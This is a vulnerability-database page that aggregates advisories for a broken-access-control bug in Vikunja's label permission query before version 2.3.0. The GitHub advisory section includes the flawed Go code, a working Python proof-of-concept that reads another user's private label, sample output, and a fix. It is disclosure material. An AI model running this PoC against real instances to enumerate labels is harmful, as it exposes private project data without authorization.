Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. This vulnerability is fixed in 2.3.0.

Source published

10 Apr 2026 15:59:43 UTC

Source modified

14 Apr 2026 14:51:51 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. This vulnerability is fixed in 2.3.0.

Source published

Apr 10, 2026, 3:59:43 PM (timezone not stated)

Source modified

Apr 14, 2026, 2:51:51 PM (timezone not stated)

Observed here

1 Nov 2026 06:10:59 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. This vulnerability is fixed in 2.3.0.

Source published

10 Apr 2026 17:17:03 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 09:03:12 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · [email protected] · Secondary · 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

## Summary The `hasAccessToLabel` function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed. ## Details The access control query at `pkg/models/label_permissions.go:85-91` uses xorm's query chain in a way that produces SQL without proper grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID). Or(cond). And("labels.id = ?", l.ID). Exist(ll) ``` The xorm chain `.Where(A OR B).Or(C).And(D)` generates SQL: `WHERE A OR B OR C AND D`. Because SQL AND has higher precedence than OR, this evaluates as `WHERE A OR B OR (C AND D)`. The `labels.id = ?` constraint (D) only binds to the project access condition (C), while `label_tasks.label_id IS NOT NULL` (part of A) remains unconstrained. Any label that has at least one task association passes the `IS NOT NULL` check, regardless of who is requesting it. ## Proof of Concept Tested on Vikunja v2.2.2. ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} a_token = login("labeler", "Labeler123!") b_token = login("snooper", "Snooper123!") # labeler creates private project, label, task, and assigns label proj = requests.put(f"{API}/projects", headers=h(a_token), json={"title": "Private Project"}).json() label = requests.put(f"{API}/labels", headers=h(a_token), json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json() task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token), json={"title": "Q4 revenue data"}).json() requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token), json={"label_id": label["id"]}) # snooper reads the label from labeler's private project r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token)) print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403 if r.status_code == 200: data = r.json() print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE print(f"Creator: {data['created_by']['username']}") # labeler ``` Output: ``` GET /labels/1: 200 Title: CONFIDENTIAL-REVENUE Creator: labeler ``` Label IDs are sequential integers, making enumeration straightforward. ## Impact Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed. ## Recommended Fix Use explicit `builder.And`/`builder.Or` grouping: ```go has, err = s.Table("labels"). Select("label_tasks.*"). Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id"). Where(builder.And( builder.Eq{"labels.id": l.ID}, builder.Or( builder.And(builder.Expr("label_tasks.label_id is not null"), cond), builder.Eq{"labels.created_by_id": createdByID}, ), )). Exist(ll) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

Source published

10 Apr 2026 15:33:59 UTC

Source modified

21 Jul 2026 15:00:40 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Publisher rating · MODERATE

Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

Source published

25 Jun 2026 22:34:31 UTC

Source modified

25 Jun 2026 23:01:12 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.